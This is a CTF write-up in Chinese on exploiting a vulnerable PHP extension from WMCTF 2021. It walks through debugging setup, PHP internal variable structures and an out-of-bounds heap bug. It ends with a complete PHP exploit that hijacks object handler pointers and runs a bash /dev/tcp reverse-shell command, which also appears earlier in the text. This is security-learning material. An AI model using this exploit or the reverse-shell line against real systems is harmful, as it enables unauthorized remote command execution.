2021WMCTF_checkin学习PHP PWN

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很早的比赛中就出现了web pwn类型的题目,不久前参加的WMCTF中也出现了一道PHP PWN,以前从来没有接触过,比赛时无从下手,赛后复现学习一下PHP PWN的基本利用思路。

环境搭建

结合以前该类型的pwn题,考察点主要是php拓展模块的漏洞利用,一般是自己实现的php的so文件,对这个so文件进行逆向分析,找到漏洞点,写php脚本实现漏洞利用。

本题给了一个Docker环境已经部署好php pwn的环境,并且容器中安装了gdbserver,不需要再自己安装对应版本的php再手动添加拓展模块,并且方便了调试。

只需要将Docker镜像导入再拉起容器即可。

导入镜像命令:

sudo docker load < wmctf_php_player.tar

查看导入的镜像:

$ sudo docker images                     
[sudo] password for cc:
REPOSITORY         TAG       IMAGE ID       CREATED       SIZE
wmctf_php_player   latest    71dd630d58a3   2 weeks ago   521MB

拉起镜像,host模式类似于Vmware的桥接模式,方便使用容器中的gdbserver进行调试:

sudo docker run --network=host wmctf_php_player

由于不知道远程交互Docker的启动命令,本地调试的时候直接进入容器,将php脚本放到容器中进行本地调试:
sudo docker exec -it cfda32d8606c /bin/bash

如下:run_php应该就是一个远程交互的接口,功能就是读入用户输入,保存到临时文件中然后php执行。

容器中php版本如下:

root@cc:/# php -v
PHP 8.0.9 (cli) (built: Jul 30 2021 00:29:20) ( NTS )
Copyright (c) The PHP Group
Zend Engine v4.0.9, Copyright (c) Zend Technologies

 

本地调试

可以通过如下命令找到php拓展模块:

root@cc:/# php -i | grep -i extension_dir
extension_dir => /usr/local/lib/php/extensions/no-debug-non-zts-20200930 => /usr/local/lib/php/extensions/no-debug-non-zts-20200930
sqlite3.extension_dir => no value => no value
root@cc:/# ls /usr/local/lib/php/extensions/no-debug-non-zts-20200930
opcache.so  sodium.so  wmctf_php_pwn.so

前面提到容器中已经安装了gdbserver,运行php,映射到端口6666,在本机上指定该端口即可调试,就本题写一个测试脚本。

<?php
    welcome_to_wmctf();
?>

上述函数时php拓展模块中函数zif_welcome_to_wmctf:

php_printf("Welcome to WMCTF! :)\nWMcake.BabyCake.Ezcake.simpleCAke.\n");

Docker:

gdbserver 127.0.0.1:6666 php 1.php

本地gdb启动命令:

target remote 127.0.0.1:6666
add-symbol-file wmctf_php_pwn.so
b zif_welcome_to_wmctf
c

php成功加载了拓展模块:

至此,调试环境已经搭好。

 

PHP变量基本结构

刚开始逆向wmctf_php_pwn.so的时候,函数传参一脸懵逼,完全通过手头的wp和函数功能来猜参数意义,然后跟着Clang师傅的博客学习了一下PHP变量结构。

以zif_wm_add函数为例,IDA中参数解析部分如下:

size_t __fastcall zif_wm_add(__int64 a1, __int64 a2)
{
  unsigned int args_num; // er12
  __int64 v3; // r12
  size_t v4; // rbx
  size_t result; // rax
  char *v6; // rax
  Cake *v7; // r13
  __int64 v8; // r13
  __int64 v9; // rcx
  unsigned __int64 v10; // [rsp+0h] [rbp-38h] BYREF
  __int64 v11[6]; // [rsp+8h] [rbp-30h] BYREF

  args_num = *(_DWORD *)(a1 + 44);
  v10 = 0LL;
  if ( args_num != 2 )
    return zif_wm_add_cold_2(a1, a2);
  if ( *(_BYTE *)(a1 + 88) == 4 )
  {
    v10 = *(_QWORD *)(a1 + 80);
  }
  else
  {
    v8 = a1 + 80;
    if ( !(unsigned __int8)zend_parse_arg_long_slow(a1 + 80, &v10) )
    {
      v9 = 0LL;
      args_num = 1;
      return zend_wrong_parameter_error(9LL, args_num, 0LL, v9, v8);
    }
  }
  if ( *(_BYTE *)(a1 + 104) != 6 )
  {
    v8 = a1 + 96;
    if ( (unsigned __int8)zend_parse_arg_str_slow(a1 + 96, v11) )
    {
      v3 = v11[0];
      goto LABEL_6;
    }
    v9 = 4LL;
    return zend_wrong_parameter_error(9LL, args_num, 0LL, v9, v8);
  }

调试在该处下断点,结合php源码Zend/zend_types.h中的定义,跟变量有关的基本结构体是_zval_struct,变量类型由type决定,type决定了value对应的结构体类型:

struct _zval_struct {
    zend_value        value;            /* value */
    union {
        uint32_t type_info;
        struct {
            ZEND_ENDIAN_LOHI_3(
                zend_uchar    type,            /* active type */
                zend_uchar    type_flags,
                union {
                    uint16_t  extra;        /* not further specified */
                } u)
        } v;
    } u1;
    union {
        uint32_t     next;                 /* hash collision chain */
        uint32_t     cache_slot;           /* cache slot (for RECV_INIT) */
        uint32_t     opline_num;           /* opline number (for FAST_CALL) */
        uint32_t     lineno;               /* line number (for ast nodes) */
        uint32_t     num_args;             /* arguments number for EX(This) */
        uint32_t     fe_pos;               /* foreach position */
        uint32_t     fe_iter_idx;          /* foreach iterator index */
        uint32_t     access_flags;         /* class constant access flags */
        uint32_t     property_guard;       /* single property guard */
        uint32_t     constant_flags;       /* constant flags */
        uint32_t     extra;                /* not further specified */
    } u2;
};

type的值也在该文件中:

/* Regular data types: Must be in sync with zend_variables.c. */
#define IS_UNDEF                    0
#define IS_NULL                        1
#define IS_FALSE                    2
#define IS_TRUE                        3
#define IS_LONG                        4
#define IS_DOUBLE                    5
#define IS_STRING                    6
#define IS_ARRAY                    7
#define IS_OBJECT                    8
#define IS_RESOURCE                    9
#define IS_REFERENCE                10
#define IS_CONSTANT_AST                11 /* Constant expressions */

/* Fake types used only for type hinting.
 * These are allowed to overlap with the types below. */
#define IS_CALLABLE                    12
#define IS_ITERABLE                    13
#define IS_VOID                        14
#define IS_STATIC                    15
#define IS_MIXED                    16

/* internal types */
#define IS_INDIRECT                 12
#define IS_PTR                        13
#define IS_ALIAS_PTR                14
#define _IS_ERROR                    15

/* used for casts */
#define _IS_BOOL                    17
#define _IS_NUMBER                    18

根据程序逻辑*(a1+44)是参数个数,zif_wm_add对应的2个参数type值为4、6,即long和string。

以type 6为例,此时的value为zend_string。

struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong        h;                /* hash value */
    size_t            len;
    char              val[1];
};

搞清楚变量基本结构之后,php pwn利用经常用到的一个基本变量结构为zend_object:

struct _zend_object {
    zend_refcounted_h gc;
    uint32_t          handle; // TODO: may be removed ???
    zend_class_entry *ce;
    const zend_object_handlers *handlers;
    HashTable        *properties;
    zval              properties_table[1];
};

其中包含了一个zend_object_handlers,是一个函数指针表,包含了对zend_object对象的操作,可以通过伪造一个zend_object_handlers,再劫持zend_object中的zend_object_handlers指针实现利用。

 

逆向分析

结构体:

struct Cake{
    char *buffer;
    int len;
    int flag;
}

漏洞在当edit的newSize小于oldSize时,重新申请一块内存但是没有更新size,所以可以越界读写。

       if ( oldSize > newSize )
        {
          _efree();
          v10 = (char *)_emalloc(newSize + 1);
          cakeList[idx].cakeName = v10;
          if ( v10 )
          {
            result = (__int64)strncpy(v10, (const char *)(newbuf + 24), newSize);
            goto LABEL_15;
          }
        }

 

利用分析

复现学习是以venom的wp为依照,按照该思路进行利用。首先申请两个chunk,chunk的大小与zend_object_handlers结构体相同,然后利用漏洞,释放掉后申请的chunk。

然后声明一个php对象,zend_object结构体会在small chunk后,可以越界读泄露heap地址和elf基址。

$lucky = new Lucky();
$lucky->a0 = "aaaaaaa";
$lucky->a1 = function ($x) { };

并且原来被释放的内存区域变为zend_object_handlers。

查看内存,chunk 0x48下方是一个zend_object结构体:

将第一个成员变量赋值为字符串’a’*7,可以看出properties_table中是一个zend_string结构体,查看该处内存:

从最上方内存布局的图中发现,与该成员变量相邻有一个type 为8 的成员变量,即#define IS_OBJECT 8,并且该zval的value指向了我们释放的chunk 0x100。

php的空闲内存块管理非常简单,隔size大小有一个next指针指向下一个空闲块,所以通过越界写,劫持另一大小空闲块的next。使得有一个指向zend_object_handlers块的指针,目的是读取其中内容在可控堆块中伪造该结构体。

然后利用与zend_object相邻的堆块越界写,劫持type 8 的zval结构体中的value指针,指向前面伪造的可控堆块,然后在可控堆块中伪造命令执行函数指针,即可通过($lucky->a1)($cmd);执行任意命令。

此时内存如图:

在该地址下断点,当执行($lucky->a1)($cmd);时:

$cmd =  '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"';
($lucky->a1)($cmd);

成功反弹shell:

还有一种做法是劫持libc中efree_got,就有点像libc pwn,就不分析了。

 

总结

深入学习之后觉得与其他的pwn并没有太大区别,学无止境,继续努力吧。

 

exp

<?php
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function get_bytes($idx, $offset, $cnt){
        $address = 0;
        $i = 0;
        for($i = $cnt-1; $i >= 0; --$i) {
            $tmp = ord(wm_get_byte($idx, $offset+$i));
            $address <<= 8;
            $address |= $tmp;
        }
        return $address;
    }
    function edit_bytes($idx, $offset, $cnt, $data){
        $address = 0;
        $i = 0;
        for($i = 0; $i < $cnt; ++$i) {
            $tmp = $data & 0xff;
            wm_edit_byte($idx, $offset+$i, $tmp);
            $data >>= 8;
        }
    }
    class Lucky{
      public    $a0, $a1;
   }
    $str = str_repeat('B', (0x100));
    welcome_to_wmctf();
    wm_add(4, $str);
    wm_add(0, $str);
    $str1 = str_repeat('B', (0x47));
    wm_edit(0, $str1);
    $lucky = new Lucky();
    $lucky->a0 = "aaaaaaa";
    $lucky->a1 = function ($x) { };
    $object_addr = get_bytes(0, 0x88, 8);
    $elf_addr = get_bytes(0, 0x68, 8)-0xa6620-0x1159000;
    echo "object_addr ==> 0x".dechex($object_addr)."\n";
    echo "elf_addr ==> 0x".dechex($elf_addr)."\n";
    wm_add(1, $str);
    wm_edit(1, "A");
    edit_bytes(1, 8, 8, $object_addr);#chunk 0
    wm_add(2, "A");
    wm_add(3, $str); 
    wm_edit(3, ptr2str(1, 1));# chunk3 = chunk0
    for($i = 0; $i < 0x100; $i+=8){
        $tmp = get_bytes(3, $i, 8);
        edit_bytes(4, $i, 8, $tmp);
    }
    edit_bytes(0, 0x88, 8, $object_addr-0x140);# change 2 fake struct
    edit_bytes(4, 0x70, 8, $elf_addr+0x429470);
    edit_bytes(4, 0x38, 4, 1);
    $cmd =  '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"';
    ($lucky->a1)($cmd);
?>

 

参考

https://www.anquanke.com/post/id/235237

比较详细的介绍了环境搭建的过程

https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/Sy7hS9bBS?type=view

详细介绍了php变量基本结构

https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247496630&idx=1&sn=f17c447a3f71d5749c88d58e69b28a4b
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